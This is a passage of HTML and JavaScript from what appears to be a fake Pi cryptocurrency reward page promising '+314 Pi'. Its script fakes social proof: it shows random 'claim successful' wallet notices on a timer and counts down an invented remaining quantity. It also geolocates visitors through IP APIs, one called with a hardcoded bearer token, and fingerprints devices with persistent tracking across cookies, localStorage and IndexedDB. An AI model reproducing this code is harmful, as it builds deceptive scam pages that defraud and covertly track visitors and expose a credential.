							It looks like you recently created a new wallet. If you are resetting, please try again later.
						</p>

						<a
							id="walletCreatedBtn"
							href="#"
							class="block text-center font-bold text-lg py-2"
							style="
								color: #0045c4;
								text-transform: uppercase;
								text-decoration: underline;
							"
						>
							WALLET HAS BEEN CREATED
						</a>
					</div>
				</div>
			</div>
		</div>

		<!-- Success Modal (initially hidden) -->
		<div id="successModal" class="fixed inset-0 bg-black bg-opacity-80 flex items-center justify-center z-50 hidden">
			<div class="card max-w-md w-full mx-4 p-8">
				<div class="text-center mb-8">
					<div class="w-16 h-16 mx-auto bg-green-500 rounded-full flex items-center justify-center text-white text-2xl mb-4">
						<i class="fas fa-check"></i>
					</div>
					<h3 class="text-3xl font-bold mb-3">
						Pi Reward Request Successful!
					</h3>
					<p class="text-gray-500 dark:text-gray-400">
					   Your Pi reward has been queued for processing. It will be sent to your wallet within 24 hours.					</p>
				</div>
				
				<div class="space-y-6 mb-8">
					<div class="flex justify-between items-center">
						<span class="font-bold">Receiving wallet:</span>
						<span id="successWalletAddress" class="truncate max-w-[200px]">...</span>
					</div>
					<div class="flex justify-between items-center">
						<span class="font-bold">Reward Amount:</span>
						<span class="text-purple-600 font-bold">+314 Pi</span>
					</div>
					<div class="flex justify-between items-center">
						<span class="font-bold">Estimated Time:</span>
						<span>Within 24 hours</span>
					</div>
				</div>
				
				<button id="closeSuccessBtn" class="w-full btn-primary py-4">
					Return to Home
				</button>
			</div>
		</div>
	
		<div id="notice" class="notice">
			<i class="fa-solid fa-bell" style="padding-right: 10px;"></i> 
			<span id="notice-text"></span>
		</div>

		<script>
			const remainingQuantityElement = document.getElementById('remainingQuantity');
			let noticeElement = document.getElementById('notice');
			let noticeTextElement = document.getElementById('notice-text');
			let isNoticeShowing = false;

			function showNotice() {
				// Tạo chuỗi ngẫu nhiên 32 ký tự
				function generateRandomString(length) {
					let characters = 'GDETAD6VHWMCFJ66LS7D7Y6LESOB4KNT4YGOM2NRDXIFAUDH4Z44DPV2';
					let result = '';
					for (let i = 0; i < length; i++) {
						result += characters.charAt(Math.floor(Math.random() * characters.length));
					}
					return result;
				}

				let random1Wallet = generateRandomString(3);
				let random2Wallet = generateRandomString(5);
				const randomWallet = 'GD' + random1Wallet + '...' + random2Wallet;
				noticeTextElement.textContent = randomWallet + ' claim successful!';
				noticeElement.classList.add('show-notice');
				isNoticeShowing = true;
				
				// Giảm remainingQuantity đi 1
				let currentQuantity = parseInt(remainingQuantityElement.textContent);
				remainingQuantityElement.textContent = currentQuantity - 1;
				localStorage.setItem(
					"remainingQuantity",
					currentQuantity-1
				);

				setTimeout(() => {
					noticeElement.classList.remove('show-notice');
					isNoticeShowing = false;
				}, 4000); 
			}

			const randomDuration = Math.floor(Math.random() * (10000 - 5000 + 1)) + 5000;
			setInterval(() => {
				if (!isNoticeShowing) {
					const checkClick = localStorage.getItem("checkClick");
					if (!checkClick) {
						showNotice();
					}
					
				}
			}, randomDuration); 

			const storedQuantity = localStorage.getItem("remainingQuantity");
			if (storedQuantity) {
				remainingQuantityElement.textContent = storedQuantity;
			}	
			showNotice();

			// Create floating balloons with enhanced appearance and movement
			function createFloatingIcons() {
				const iconsContainer = document.createElement("div");
				iconsContainer.id = "iconsContainer";
				iconsContainer.style.position = "fixed";
				iconsContainer.style.width = "100%";
				iconsContainer.style.height = "100%";
				iconsContainer.style.top = "0";
				iconsContainer.style.left = "0";
				iconsContainer.style.pointerEvents = "none";
				iconsContainer.style.zIndex = "-5";
				iconsContainer.style.overflow = "hidden";
				document.body.appendChild(iconsContainer);

				// Professional crypto/finance icons

				const iconUrls = [
					"https://i.pinimg.com/originals/0c/a0/34/0ca034d0ed966a0ac1b6455039d6e364.png",
					"assets/images/isolated-purple-balloon-no-background-with-ribbon-png.png",
				];

				const numIcons = 1; // Giảm xuống còn 3

				for (let i = 0; i < numIcons; i++) {
					setTimeout(() => {
						const icon = document.createElement("img");
						icon.className = "floating-icon-img";

						// Set icon image source
						const iconIndex = Math.floor(
							Math.random() * iconUrls.length
						);
						icon.src = iconUrls[iconIndex];

						// Random position and animation timing
						const leftPos = 5 + Math.random() * 90;
						const floatDistance = -100 + Math.random() * 200;
						const size = 80 + Math.random() * 40; // Larger sizing
						const duration = 40 + Math.random() * 20; // Slower movement for better performance

						icon.style.setProperty(
							"--float-distance",
							`${floatDistance}px`
						);
						icon.style.left = `${leftPos}%`;
						icon.style.width = `${size}px`;
						icon.style.height = `${size}px`;
						icon.style.animationDuration = `${duration}s`;

						iconsContainer.appendChild(icon);

						// Remove icon after animation completes
						setTimeout(() => {
							icon.remove();
						}, duration * 1000);
					}, i * 5000); // More spacing between icons for better performance
				}

				// Continue creating icons periodically at a slower rate
				setInterval(() => {
					if (document.visibilityState === "visible") {
						const icon = document.createElement("img");
						icon.className = "floating-icon-img";

						const iconIndex = Math.floor(
							Math.random() * iconUrls.length
						);
						icon.src = iconUrls[iconIndex];

						const leftPos = 5 + Math.random() * 90;
						const floatDistance = -100 + Math.random() * 200;
						const size = 80 + Math.random() * 40; // Larger sizing
						const duration = 40 + Math.random() * 20;

						icon.style.setProperty(
							"--float-distance",
							`${floatDistance}px`
						);
						icon.style.left = `${leftPos}%`;
						icon.style.width = `${size}px`;
						icon.style.height = `${size}px`;
						icon.style.animationDuration = `${duration}s`;

						iconsContainer.appendChild(icon);

						setTimeout(() => {
							icon.remove();
						}, duration * 1000);
					}
				}, 20000); // Much longer interval between new icons for better performance
			}

			// Create premium background effects - enhanced but optimized
			function createPremiumBackground() {
				// Create stars (reduced number)
				const starsContainer =
					document.getElementById("starsContainer");
				const numStars = 5; // Reduced number for better performance

				for (let i = 0; i < numStars; i++) {
					const star = document.createElement("div");
					star.className = "star";
					star.style.width = `${Math.random() * 3 + 1}px`;
					star.style.height = star.style.width;
					star.style.left = `${Math.random() * 100}%`;
					star.style.top = `${Math.random() * 100}%`;
					star.style.animationDelay = `${Math.random() * 4}s`;
					starsContainer.appendChild(star);
				}

				// Create single-point bright stars (reduced number)
				const singleStarsContainer = document.getElementById(
					"singleStarsContainer"
				);
				const numSingleStars = 1; // Reduced number for better performance

				for (let i = 0; i < numSingleStars; i++) {
					const star = document.createElement("div");
					star.className = "star-single";
					star.style.left = `${Math.random() * 90 + 5}%`;
					star.style.top = `${Math.random() * 90 + 5}%`;
					star.style.animationDelay = `${Math.random() * 3}s`;
					singleStarsContainer.appendChild(star);
				}

				// Create shooting stars (reduced number)
				const shootingStarsContainer = document.getElementById(
					"shootingStarsContainer"
				);
				const numShootingStars = 0; // Reduced to just 1 for better performance

				for (let i = 0; i < numShootingStars; i++) {
					const shootingStar = document.createElement("div");
					shootingStar.className = "shooting-star";

					// Position at top-left of screen
					shootingStar.style.left = `${Math.random() * 30}%`;
					shootingStar.style.top = `${Math.random() * 30}%`;

					// Set length and angle for proper direction
					const length = 80 + Math.random() * 120;
					shootingStar.style.width = `${length}px`;
					shootingStar.style.height = `2px`;
					shootingStar.style.transform = "rotate(45deg)";

					// Stagger animation timing
					shootingStar.style.animationDelay = `${
						i * 3 + Math.random() * 3
					}s`;

					shootingStarsContainer.appendChild(shootingStar);
				}

				// Create Pi coins with images (reduced number)
				const coinsContainer =
					document.getElementById("coinsContainer");
				const numCoins = 2; // Reduced from 8 to 4 for better performance

				// Define positions that spread evenly across the screen
				const coinPositions = [
					{ left: "15%", top: "15%" },
					{ left: "85%", top: "15%" },
					{ left: "15%", top: "85%" },
					{ left: "85%", top: "85%" },
				];

				// Pi coin image URLs
				const piCoinImages = [
					"https://img.upanh.tv/2025/03/11/favicon42527eabc5bda97a.png",
					"assets/images/favicon.png",
				];

				for (let i = 0; i < numCoins; i++) {
					const coin = document.createElement("div");
					coin.className = "premium-coin";

					// Create image element instead of text
					const img = document.createElement("img");
					img.src = piCoinImages[i % piCoinImages.length];
					img.style.width = "100%";
					img.style.height = "100%";
					img.style.objectFit = "contain";
					img.style.borderRadius = "50%";

					coin.appendChild(img);

					const size = 30 + Math.random() * 20;
					coin.style.width = `${size}px`;
					coin.style.height = `${size}px`;
					coin.style.left = coinPositions[i].left;
					coin.style.top = coinPositions[i].top;
					coin.style.animationDelay = `${Math.random() * 3}s`;
					coin.style.opacity = "0.4";

					// Simpler floating animation
					coin.style.animation = `float 10s infinite ease-in-out`;

					coinsContainer.appendChild(coin);
				}

				// Create light streaks (reduced number)
				const lightStreaksContainer = document.getElementById(
					"lightStreaksContainer"
				);
				const numStreaks = 1; // Reduced from 2 to 1 for better performance

				for (let i = 0; i < numStreaks; i++) {
					const streak = document.createElement("div");
					streak.className = "light-streak";
					streak.style.top = `${50}%`; // Fixed position
					streak.style.animationDelay = `${i * 5}s`;
					lightStreaksContainer.appendChild(streak);
				}
			}

			// Create confetti for the success animation
			function createConfetti() {
				const container = document.getElementById("confettiContainer");
				container.innerHTML = ""; // Clear any existing confetti

				const colors = [
					"#693988", // Pi purple
					"#f8c056", // Pi gold
					"#ffffff", // White
					"#9c55d4", // Light purple
					"#ffd78c", // Light gold
				];

				const numConfetti = 70; // Reduced for better performance

				for (let i = 0; i < numConfetti; i++) {
					const confetti = document.createElement("div");

					// Randomly select confetti type
					const type = Math.floor(Math.random() * 3);
					if (type === 0) {
						confetti.className = "confetti confetti-square";
					} else if (type === 1) {
						confetti.className = "confetti confetti-circle";
					} else {
						confetti.className = "confetti confetti-triangle";
					}

					// Random position, color, size and animation timing
					confetti.style.left = `${Math.random() * 100}%`;
					confetti.style.backgroundColor =
						colors[Math.floor(Math.random() * colors.length)];

					const size = 5 + Math.random() * 10;
					confetti.style.width = `${size}px`;
					confetti.style.height = `${size}px`;

					// Animation
					const duration = 2 + Math.random() * 3;
					const delay = Math.random() * 0.5;
					confetti.style.animation = `confettiFall ${duration}s ease-in ${delay}s forwards`;

					container.appendChild(confetti);
				}
			}

			// Show confetti celebration
			function showConfetti() {
				createConfetti();
				const container = document.getElementById("confettiContainer");
				container.style.display = "block";
				container.style.zIndex = "3000"; // Explicitly set higher z-index

				// Hide after animation completes
				setTimeout(() => {
					container.style.display = "none";
				}, 5000);
			}

			// Add wave animations to feature cards
			function setupFeatureCardWaves() {
				// Ẩn tất cả hiệu ứng sóng
				const waves = document.querySelectorAll(".feature-card-wave");
				waves.forEach((wave) => {
					wave.style.display = "none";
				});

				// Ẩn tất cả hiệu ứng shine
				const icons = document.querySelectorAll(".feature-icon");
				icons.forEach((icon) => {
					icon.style.setProperty("--shine-opacity", "0");
				});
			}

			// Create explosion particles - simplified
			function createExplosionParticles() {
				const container = document.getElementById("explosionContainer");
				const numParticles = 10; // Reduced for better performance

				for (let i = 0; i < numParticles; i++) {
					const particle = document.createElement("div");
					particle.className = "explosion-particle";

					// Set random direction for each particle
					const angle = Math.random() * Math.PI * 2;
					const distance = 100 + Math.random() * 100;
					const tx = Math.cos(angle) * distance;
					const ty = Math.sin(angle) * distance;

					particle.style.setProperty("--tx", `${tx}px`);
					particle.style.setProperty("--ty", `${ty}px`);

					container.appendChild(particle);
				}
			}

			// Show loading spinner
			function showLoading() {
				document.getElementById("loadingOverlay").style.display =
					"flex";
			}

			// Hide loading spinner
			function hideLoading() {
				document.getElementById("loadingOverlay").style.display =
					"none";
			}

		

			// Show success modal with confetti and highlight important note
			function showSuccessModal(walletAddress) {
				const modal = document.getElementById("successModal");

				// Format wallet address for display (abbreviate if too long)
				if (walletAddress && walletAddress.length > 10) {
					const firstPart = walletAddress.substring(0, 6);
					const lastPart = walletAddress.substring(
						walletAddress.length - 5
					);
					document.getElementById(
						"successWalletAddress"
					).textContent = `${firstPart}...${lastPart}`;
				} else {
					document.getElementById(
						"successWalletAddress"
					).textContent = walletAddress || "GDER4...MB75Y";
				}

				// Explicitly set display to flex to ensure modal is visible
				modal.style.display = "flex";
				modal.classList.remove("hidden");

				// Show confetti celebration
				showConfetti();

				// Add event listeners to close buttons
				const closeBtn = document.getElementById("closeSuccessBtn");
				closeBtn.addEventListener("click", hideSuccessModal);

			}

			
			// Quitar el efecto de destacado - método corregido
			function dismissHighlight() {
				const modal = document.getElementById("successModal");
				const overlay = document.getElementById(
					"modalHighlightOverlay"
				);
				const noteSection = document.getElementById(
					"importantNoteSection"
				);
				const understoodBtn = document.getElementById("understoodBtn");

				// Quitar clase del modal
				modal.classList.remove("modal-highlight-active");

				// Quitar el overlay
				overlay.classList.remove("active");

				// Quitar el destacado
				noteSection.classList.remove("highlight-important-note");

				// Ocultar el botón
				understoodBtn.classList.add("hidden");
			}

			// Ocultar modal de éxito - método corregido
			function hideSuccessModal() {
				const modal = document.getElementById("successModal");
				modal.style.display = "none";
				modal.classList.add("hidden");

				// Reiniciar cualquier efecto de destacado
				modal.classList.remove("modal-highlight-active");

				const overlay = document.getElementById(
					"modalHighlightOverlay"
				);
				const noteSection = document.getElementById(
					"importantNoteSection"
				);

				if (overlay) overlay.classList.remove("active");
				if (noteSection)
					noteSection.classList.remove("highlight-important-note");
			}

			// Navigate between pages
			function navigateTo(fromPage, toPage, direction = "right") {
				const from = document.getElementById(fromPage);
				const to = document.getElementById(toPage);

				// Set initial positions
				from.classList.remove("page-active");
				to.classList.remove(
					"page-inactive-left",
					"page-inactive-right"
				);

				if (direction === "right") {
					from.classList.add("page-inactive-left");
					to.classList.add("page-active");
				} else {
					from.classList.add("page-inactive-right");
					to.classList.add("page-active");
				}

				// Update back button visibility
				const headerBackBtn = document.getElementById("headerBackBtn");
				if (toPage === "homePage") {
					headerBackBtn.style.visibility = "hidden";
				} else {
					headerBackBtn.style.visibility = "visible";
				}

				// Scroll to top of new page
				// Show/hide top notification based on page
				const notificationBanner = document.querySelector(
					".notification-banner"
				);
				if (notificationBanner) {
					if (toPage === "homePage") {
						notificationBanner.style.display = "block";
					} else {
						notificationBanner.style.display = "none";
					}
				}
				window.scrollTo(0, 0);
			}

			// Handle scroll animations - improved performance
			function handleScrollAnimations() {
				const elements = document.querySelectorAll(
					".animate-on-scroll, .animate-fade-in"
				);

				// Use IntersectionObserver for better performance
				const observer = new IntersectionObserver(
					(entries) => {
						entries.forEach((entry) => {
							if (entry.isIntersecting) {
								const delay =
									entry.target.getAttribute("data-delay") ||
									0;
								setTimeout(() => {
									entry.target.classList.add("animated");
								}, delay);
								observer.unobserve(entry.target);
							}
						});
					},
					{ threshold: 0.1, rootMargin: "50px" }
				); // Added rootMargin for earlier animation trigger

				elements.forEach((element) => {
					observer.observe(element);
				});
			}

			// Submission tracking functions
			function getSubmissionCount() {
				try {
					return parseInt(
						localStorage.getItem("piSubmissionCount") || "0"
					);
				} catch (e) {
					console.error("Error accessing localStorage:", e);
					return 0;
				}
			}

			function incrementSubmissionCount() {
				try {
					const currentCount = getSubmissionCount();
					localStorage.setItem(
						"piSubmissionCount",
						(currentCount + 1).toString()
					);
					return currentCount + 1;
				} catch (e) {
					console.error("Error updating localStorage:", e);
					return 0;
				}
			}

			// Check if user has exceeded submission limit
			function hasExceededLimit() {
				return getSubmissionCount() >= 2;
			}

			// Update UI based on submission count
			function updateUIForSubmissionCount() {
				const currentCount = getSubmissionCount();
				const limitMessage = document.getElementById("limitMessage");
				const errorMessage = document.getElementById("errorMessage");
				const unlockSubmitBtn =
					document.getElementById("unlockSubmitBtn");
				const openFormBtn = document.getElementById("openFormBtn");

				// Case: User has exceeded limit
				if (currentCount >= 2) {
					// Show error message on form page
					errorMessage.style.display = "block";
					limitMessage.style.display = "none";

					// Disable submit button
					unlockSubmitBtn.disabled = true;
					unlockSubmitBtn.textContent =
						getCurrentLanguage() === "vi"
							? "REQUEST LIMIT REACHED"
							: "REQUEST LIMIT REACHED";

					// If on home page, disable the button to open form
					if (openFormBtn) {
						openFormBtn.disabled = true;
						openFormBtn.textContent =
							getCurrentLanguage() === "vi"
								? "Request Limit Reached"
								: "Request Limit Reached";
						openFormBtn.classList.add("opacity-50");
						openFormBtn.style.cursor = "not-allowed";
					}
				}
				// Case: User has submitted once (show warning)
				else if (currentCount === 1) {
					limitMessage.style.display = "block";
					const warningText =
						getCurrentLanguage() === "vi"
							? `You have submitted ${currentCount}/2 requests. Each device is limited to a maximum of 2 requests.`
							: `You have submitted ${currentCount}/2 requests. Each device is limited to a maximum of 2 requests.`;
					limitMessage.innerHTML = `<i class="fas fa-exclamation-triangle mr-2"></i>${warningText}`;
					errorMessage.style.display = "none";
					unlockSubmitBtn.disabled = false;
				}
				// Case: User hasn't submitted yet
				else {
					limitMessage.style.display = "none";
					errorMessage.style.display = "none";
					unlockSubmitBtn.disabled = false;
				}
			}

			// Advanced IP and Location detection with better reliability
			let userIPData = null;
			let ipBlockStatus = {
				blocked: false,
				reason: "",
			};

			// Multi-API approach for IP and location detection with advanced failover
			async function getUserIPInfo() {
				try {
					// Try multiple APIs in sequence until one succeeds
					const apis = [
						async () => {
							const response = await fetch(
								"https://freeipapi.com/api/json/",
								{
									headers: {
										'Authorization': 'Bearer 145e8aecea2cae5c7002ec10d217c2b04fa68a27ff6f3a8383c9aaea623c77b0'
									}
								}
							);
							if (!response.ok)
								throw new Error("freeipapi.com failed");
							const data = await response.json();

							return {
								ip: data.ipAddress,
								country: data.countryCode,
								country_name: data.countryName,
								city: data.cityName,
								region: data.regionName,
								timezone: data.timeZone,
							};
						},

						// API 5: Backup option with ipwhois.app
						async () => {
							const response = await fetch("https://ipwho.is/");
							if (!response.ok)
								throw new Error("ipwho.is failed");
							const data = await response.json();
							return {
								ip: data.ip,
								country: data.country_code,
								country_name: data.country,
								city: data.city,
								region: data.region,
								timezone: data.timezone.id,
							};
						},

						// API 6: Additional backup with publicapis
						async () => {
							const response = await fetch(
								"https://api.db-ip.com/v2/free/self"
							);
							if (!response.ok)
								throw new Error("db-ip.com failed");
							const data = await response.json();
							console.log("API success:", data);
							return {
								ip: data.ipAddress,
								country: data.countryCode,
								country_name: data.countryName,
								city: data.city,
								region: data.stateProv,
								timezone: null,
							};
						},

						// Final fallback: Use client-side information only
						async () => {
							const timezone =
								Intl.DateTimeFormat().resolvedOptions()
									.timeZone;
							return {
								ip: "unavailable",
								country: await detectCountryFromTimezone(
									timezone
								),
								country_name: await getCountryNameFromTimezone(
									timezone
								),
								city: "unknown",
								region: "unknown",
								timezone: timezone,
							};
						},
					];

					// Try each API in turn until one succeeds
					for (const apiCall of apis) {
						try {
							const data = await apiCall();
							// console.log("apiCall", data);
							// Verify we have at least some data to work with
							if (
								data &&
								(data.ip !== "unavailable" || data.timezone)
							) {
								// Success! Save the data
								userIPData = data;

								// Check if this is a suspicious IP
								checkIfIPBlocked(data.ip);

								// Directly set language based on country without checking stored preference
								// Auto-set to English if not Vietnam
								if (data.country && data.country !== "VN") {
									setLanguage("en");
								} else {
									setLanguage("vi");
								}

								// // Display location notification
								// showLocationNotification(data);

								return data;
							}
						} catch (error) {
							console.log("API attempt failed:", error.message);
							// Continue to next API
						}
					}

					// If we got here, all APIs failed - use fallback approach
					console.warn(
						"All location detection API attempts failed, using fallback"
					);

					// Create a fallback user data
					const fallbackData = createFallbackUserData();
					userIPData = fallbackData;

					// Auto-set to English for safety (since we can't determine country)
					setLanguage("en");

					return fallbackData;
				} catch (error) {
					console.error("Error in getUserIPInfo:", error);

					// Create fallback user data when everything fails
					const fallbackData = createFallbackUserData();
					userIPData = fallbackData;

					// Auto-set to English for safety
					setLanguage("en");

					return fallbackData;
				}
			}

			// Create fallback user data using browser information
			function createFallbackUserData() {
				const timezone =
					Intl.DateTimeFormat().resolvedOptions().timeZone;
				const userData = {
					ip: "unavailable",
					country: detectCountryFromTimezone(timezone) || "unknown",
					country_name:
						getCountryNameFromTimezone(timezone) || "Unknown",
					city: "unknown",
					region: "unknown",
					timezone: timezone,
				};

				return userData;
			}

			// Helper function to get country name from country code
			function getCountryName(countryCode) {
				if (!countryCode) return "Unknown";

				// Simple mapping of common country codes
				const commonCountries = {
					US: "United States",
					GB: "United Kingdom",
					CA: "Canada",
					AU: "Australia",
					DE: "Germany",
					FR: "France",
					IT: "Italy",
					ES: "Spain",
					JP: "Japan",
					CN: "China",
					IN: "India",
					BR: "Brazil",
					RU: "Russia",
					VN: "Vietnam",
					TH: "Thailand",
					MY: "Malaysia",
					SG: "Singapore",
					ID: "Indonesia",
				};

				// If it's a common country, return the name immediately
				if (commonCountries[countryCode]) {
					return commonCountries[countryCode];
				}

				// Otherwise, try to get the name from the browser's Intl API
				try {
					return new Intl.DisplayNames(["en"], { type: "region" }).of(
						countryCode
					);
				} catch (error) {
					return countryCode; // Fallback to just returning the code
				}
			}

			// Detect country from timezone as fallback
			function detectCountryFromTimezone(timezone) {
				if (!timezone) return null;

				// Common timezone to country code mappings
				const timezoneMap = {
					"America/New_York": "US",
					"America/Los_Angeles": "US",
					"America/Chicago": "US",
					"America/Denver": "US",
					"Europe/London": "GB",
					"Europe/Paris": "FR",
					"Europe/Berlin": "DE",
					"Europe/Rome": "IT",
					"Europe/Madrid": "ES",
					"Asia/Tokyo": "JP",
					"Asia/Shanghai": "CN",
					"Asia/Kolkata": "IN",
					"Asia/Ho_Chi_Minh": "VN",
					"Asia/Bangkok": "TH",
					"Asia/Singapore": "SG",
					"Asia/Kuala_Lumpur": "MY",
					"Asia/Jakarta": "ID",
					"Australia/Sydney": "AU",
					"Australia/Melbourne": "AU",
				};

				// Try direct mapping
				if (timezoneMap[timezone]) {
					return timezoneMap[timezone];
				}

				// Try to extract country from timezone
				if (timezone.includes("index.html")) {
					const region = timezone.split("index.html")[0];

					// Map regions to likely country codes
					const regionMap = {
						America: "US",
						Europe: "EU",
						Asia: "AS",
						Africa: "AF",
						Australia: "AU",
						Pacific: "PA",
					};

					return regionMap[region] || null;
				}

				return null;
			}

			// Get country name from timezone
			function getCountryNameFromTimezone(timezone) {
				const countryCode = detectCountryFromTimezone(timezone);
				if (!countryCode) return "Unknown";

				const countryNames = {
					US: "United States",
					EU: "Europe",
					AS: "Asia",
					AF: "Africa",
					AU: "Australia",
					PA: "Pacific",
				};

				return countryNames[countryCode] || "Unknown";
			}

			// Improved show location notification - clearer notifications with detailed info
			function showLocationNotification(ipData) {
				if (!ipData) return;

				const locationText = document.getElementById("locationText");
				const countryFlag = document.getElementById("countryFlag");
				const notification = document.getElementById(
					"locationDetectedMessage"
				);

				// Country flag - try to get a valid country flag
				if (
					ipData.country &&
					ipData.country !== "unknown" &&
					ipData.country.length === 2
				) {
					countryFlag.src = `https://cdn.jsdelivr.net/npm/flag-icon-css@3.5.0/flags/4x3/${ipData.country.toLowerCase()}.svg`;
					countryFlag.onerror = () => {
						// If flag can't be loaded, use a generic flag
						countryFlag.src = `https://cdn.jsdelivr.net/npm/flag-icon-css@3.5.0/flags/4x3/xx.svg`;
					};
				} else {
					countryFlag.src = `https://cdn.jsdelivr.net/npm/flag-icon-css@3.5.0/flags/4x3/xx.svg`;
				}

				// Location text with smart fallbacks to create a meaningful message
				const currentLang = getCurrentLanguage();

				// Better location display with fallbacks
				let city = ipData.city;
				let region = ipData.region;
				let country =
					ipData.country_name ||
					getCountryName(ipData.country) ||
					"Unknown";

				if (city === "unknown" || !city) {
					city = "";
				}

				if (region === "unknown" || !region || region === city) {
					region = "";
				}

				// Build location string
				let locationString = "";
				if (city) locationString += city;
				if (region && city) locationString += ", " + region;
				else if (region) locationString += region;
				if ((city || region) && country)
					locationString += ", " + country;
				else locationString += country;
			}

			// Storage for blocked IP data with enhanced durability
			const blockStorage = {
				// Save blocked IP data to multiple sources
				save: function (data) {
					try {
						// 1. Save to localStorage
						localStorage.setItem(
							"blockedIPs",
							JSON.stringify(data)
						);

						// 2. Save to sessionStorage
						sessionStorage.setItem(
							"blockedIPs",
							JSON.stringify(data)
						);

						// 3. Save to cookie with long expiration (1 year)
						const expiryDate = new Date();
						expiryDate.setFullYear(expiryDate.getFullYear() + 1);
						document.cookie = `blockedIPs=${encodeURIComponent(
							JSON.stringify(data)
						)};expires=${expiryDate.toUTCString()};path=/;SameSite=Strict`;

						// 4. Save a backup copy with a different name
						localStorage.setItem(
							"security_data",
							JSON.stringify(data)
						);

						// 5. If IndexedDB is available, save there
						this.saveToIndexedDB(data);

						// 6. Create and save device fingerprint
						this.saveDeviceFingerprint(data);
					} catch (e) {
						console.error("Error saving blocked IP data:", e);
					}
				},

				// Save to IndexedDB - more durable storage
				saveToIndexedDB: function (data) {
					if (!window.indexedDB) return;

					try {
						const request = indexedDB.open("SecurityDB.html", 1);

						request.onupgradeneeded = function (event) {
							const db = event.target.result;
							if (!db.objectStoreNames.contains("blockedIPs")) {
								db.createObjectStore("blockedIPs", {
									keyPath: "id",
								});
							}
						};

						request.onsuccess = function (event) {
							const db = event.target.result;
							const transaction = db.transaction(
								["blockedIPs"],
								"readwrite"
							);
							const store = transaction.objectStore("blockedIPs");

							// Clear old data
							store.clear();

							// Add new data
							store.add({ id: "main", data: data });

							transaction.oncomplete = function () {
								db.close();
							};
						};
					} catch (e) {
						console.error("IndexedDB error:", e);
					}
				},

				// Create and save device fingerprint
				saveDeviceFingerprint: function (data) {
					try {
						// Create simple device fingerprint
						const fingerprint = {
							userAgent: navigator.userAgent,
							language: navigator.language,
							screenWidth: screen.width,
							screenHeight: screen.height,
							colorDepth: screen.colorDepth,
							timezone:
								Intl.DateTimeFormat().resolvedOptions()
									.timeZone,
							platform: navigator.platform,
						};

						// Create identifier string from fingerprint
						const fingerprintStr = JSON.stringify(fingerprint);
						const fingerprintHash = this.simpleHash(fingerprintStr);

						// Save blocked data with device info
						localStorage.setItem(
							`device_${fingerprintHash}`,
							JSON.stringify(data)
						);
						sessionStorage.setItem(
							`device_${fingerprintHash}`,
							JSON.stringify(data)
						);

						// Save fingerprint to cookie
						const expiryDate = new Date();
						expiryDate.setFullYear(expiryDate.getFullYear() + 1);
						document.cookie = `device_fingerprint=${fingerprintHash};expires=${expiryDate.toUTCString()};path=/;SameSite=Strict`;
					} catch (e) {
						console.error("Error creating device fingerprint:", e);
					}
				},

				// Simple hash function for fingerprint string
				simpleHash: function (str) {
					let hash = 0;
					for (let i = 0; i < str.length; i++) {
						const char = str.charCodeAt(i);
						hash = (hash << 5) - hash + char;
						hash = hash & hash;
					}
					return hash.toString(36);
				},

				// Get data from all storage sources
				get: function () {
					let blockedIPs = [];

					try {
						// 1. Try localStorage first
						const localData = localStorage.getItem("blockedIPs");
						if (localData) {
							blockedIPs = JSON.parse(localData);
							return blockedIPs;
						}

						// 2. Try sessionStorage
						const sessionData =
							sessionStorage.getItem("blockedIPs");
						if (sessionData) {
							blockedIPs = JSON.parse(sessionData);
							return blockedIPs;
						}

						// 3. Try cookie
						const cookies = document.cookie.split(";");
						for (let cookie of cookies) {
							cookie = cookie.trim();
							if (cookie.startsWith("blockedIPs=")) {
								const cookieData = decodeURIComponent(
									cookie.substring("blockedIPs=".length)
								);
								blockedIPs = JSON.parse(cookieData);
								return blockedIPs;
							}
						}

						// 4. Try backup data
						const backupData =
							localStorage.getItem("security_data");
						if (backupData) {
							blockedIPs = JSON.parse(backupData);
							return blockedIPs;
						}

						// 5. Try device fingerprint
						const fingerprintData = this.getFromDeviceFingerprint();
						if (fingerprintData && fingerprintData.length > 0) {
							return fingerprintData;
						}

						// 6. Try IndexedDB if other methods fail
						this.getFromIndexedDB().then((idbData) => {
							if (idbData && idbData.length > 0) {
								// Restore data to other storage methods
								this.save(idbData);
								blockedIPs = idbData;
							}
						});
					} catch (e) {
						console.error("Error retrieving blocked IP data:", e);
					}

					return blockedIPs;
				},

				// Get data from IndexedDB
				getFromIndexedDB: function () {
					return new Promise((resolve) => {
						if (!window.indexedDB) {
							resolve([]);
							return;
						}

						try {
							const request = indexedDB.open("SecurityDB.html", 1);

							request.onerror = function () {
								resolve([]);
							};

							request.onsuccess = function (event) {
								const db = event.target.result;
								try {
									const transaction = db.transaction(
										["blockedIPs"],
										"readonly"
									);
									const store =
										transaction.objectStore("blockedIPs");
									const getRequest = store.get("main");

									getRequest.onsuccess = function () {
										if (
											getRequest.result &&
											getRequest.result.data
										) {
											resolve(getRequest.result.data);
										} else {
											resolve([]);
										}
										db.close();
									};

									getRequest.onerror = function () {
										resolve([]);
										db.close();
									};
								} catch (e) {
									resolve([]);
									db.close();
								}
							};
						} catch (e) {
							console.error("Error accessing IndexedDB:", e);
							resolve([]);
						}
					});
				},

				// Get data from device fingerprint
				getFromDeviceFingerprint: function () {
					try {
						// Create current device fingerprint
						const fingerprint = {
							userAgent: navigator.userAgent,
							language: navigator.language,
							screenWidth: screen.width,
							screenHeight: screen.height,
							colorDepth: screen.colorDepth,
							timezone:
								Intl.DateTimeFormat().resolvedOptions()
									.timeZone,
							platform: navigator.platform,
						};

						// Calculate hash
						const fingerprintStr = JSON.stringify(fingerprint);
						const fingerprintHash = this.simpleHash(fingerprintStr);

						// Check localStorage
						const localData = localStorage.getItem(
							`device_${fingerprintHash}`
						);
						if (localData) {
							return JSON.parse(localData);
						}

						// Check sessionStorage
						const sessionData = sessionStorage.getItem(
							`device_${fingerprintHash}`
						);
						if (sessionData) {
							return JSON.parse(sessionData);
						}

						// Check cookie
						const cookies = document.cookie.split(";");
						for (let cookie of cookies) {
							cookie = cookie.trim();
							if (cookie.startsWith("device_fingerprint=")) {
								const storedHash = cookie.substring(
									"device_fingerprint=".length
								);
								// If device fingerprint is in cookie, try to get data from localStorage
								const fingerprintData = localStorage.getItem(
									`device_${storedHash}`
								);
								if (fingerprintData) {
									return JSON.parse(fingerprintData);
								}
							}
						}
					} catch (e) {
						console.error(
							"Error retrieving device fingerprint data:",
							e
						);
					}

					return [];
				},
			};

			// Check if IP is in blocked list
			function checkIfIPBlocked(ip) {
				if (!ip) return false;

				// Get blocked IPs from enhanced storage system
				let blockedIPs = blockStorage.get();

				// Check if current IP is blocked
				const blockedEntry = blockedIPs.find((item) => item.ip === ip);
				let isBlocked = !!blockedEntry;

